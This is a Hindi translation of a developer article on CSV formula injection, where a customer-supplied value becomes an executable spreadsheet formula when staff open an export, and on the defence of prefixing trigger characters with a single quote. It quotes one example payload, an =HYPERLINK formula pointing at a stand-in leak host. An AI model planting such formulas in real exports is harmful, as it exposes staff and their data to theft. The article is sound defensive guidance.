CSV इंजेक्शन: वह एक्सपोर्ट बटन जो कोड चलाता है

एक ग्राहक अपना नाम दर्ज करता है। वे टाइप करते हैं =HYPERLINK("http://evil.example/leak", "click")। आपका सिस्टम इसे स्वीकार कर लेता है। यह साधारण टेक्स्ट जैसा दिखता है।

कुछ हफ्तों बाद, आपकी फाइनेंस टीम ग्राहक सूची को CSV में एक्सपोर्ट करती है। वे एक्सेल (Excel) में फ़ाइल खोलते हैं। वह सेल अब टेक्स्ट नहीं रह जाता। वह एक फॉर्मूला बन जाता है।

इसे ही CSV इंजेक्शन कहते हैं। लोग इसे फॉर्मूला इंजेक्शन भी कहते हैं। ई-कॉमर्स पैनल्स में यह एक आम बग है। अधिकांश टीमें इसके लिए टेस्टिंग नहीं करती हैं।

स्प्रेडशीट ऐप्स हर सेल को टेक्स्ट के रूप में नहीं देखते हैं। यदि कोई सेल =, +, -, या @ से शुरू होता है, तो Excel या Google Sheets इसे एक फॉर्मूला के रूप में पढ़ता है।

एक फॉर्मूला गणित से कहीं अधिक कर सकता है। यह एक URL बना सकता है। यह किसी नेटवर्क से जुड़ सकता है। कुछ मामलों में, यह कंप्यूटर पर कमांड भी चला सकता है।

डेटा आपके डेटाबेस में टेक्स्ट ही रहता है। जैसे ही कोई इंसान फ़ाइल खोलता है, यह निष्पादन योग्य (executable) बन जाता है। आमतौर पर, शिकार वह स्टाफ सदस्य होता है जिसके पास उच्च एक्सेस लेवल (access levels) होते हैं।

आप वहां जोखिम में हैं जहां भी आप यूजर डेटा एक्सपोर्ट करते हैं:

  • ग्राहक का नाम और पते का एक्सपोर्ट
  • CSV में एक्सपोर्ट किए गए ऑर्डर ग्रिड
  • वेंडर्स से मिलने वाले प्रोडक्ट फीड्स
  • कॉन्टैक्ट फॉर्म डंप्स

हमलावर को एडमिन एक्सेस की आवश्यकता नहीं होती है। वे अपना नाम एक फॉर्मूला के रूप में सेट करते हैं और इंतज़ार करते हैं।

इसे इनपुट वैलिडेशन (input validation) के दौरान ठीक करने की कोशिश न करें। जब तक स्प्रेडशीट इसे नहीं पढ़ती, तब तक वैल्यू वैध टेक्स्ट ही रहती है। इसके बजाय, जब आप CSV फ़ाइल लिखें, तब डेटा को सैनिटाइज (sanitize) करें।

यदि कोई सेल =, +, -, @, एक टैब, या कैरिज रिटर्न (carriage return) से शुरू होता है, तो उसके आगे एक सिंगल कोट (') जोड़ दें।

उदाहरण लॉजिक: यदि वैल्यू किसी ट्रिगर कैरेक्टर से शुरू होती है, तो "'" + value रिटर्न करें।

सिंगल कोट स्प्रेडशीट को बताता है कि सेल को टेक्स्ट के रूप में माना जाए। स्प्रेडशीट यूजर से उस कोट को छिपा देती है। फ़ाइल में जाने से पहले हर फील्ड को इस चेक से गुज़ारें।

अपने डेटाबेस में डेटा को एस्केप (escape) न करें। वैल्यू आपके डेटाबेस में ठीक है और आपके HTML में भी ठीक है। यह केवल CSV में खतरनाक है। अपने डेटा को अन्य जगहों पर सुरक्षित रखने के लिए CSV बाउंड्री (boundary) की रक्षा करें।

अपने इंटरनल एक्सपोर्ट्स पर भरोसा करना बंद करें। हमलावर इन फ़ाइलों के माध्यम से आपके स्टाफ को निशाना बनाते हैं।

CSV इंजेक्शन डरावने स्कैनर अलर्ट ट्रिगर नहीं करता है। यह उस एक्सपोर्ट बटन में छिपा होता है जिसे आपने सालों पहले बनाया था। अभी अपने CSV एक्सपोर्ट कोड की जांच करें। यदि आप हर सेल के पहले कैरेक्टर की रक्षा नहीं करते हैं, तो आप जोखिम में हैं।

स्रोत: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6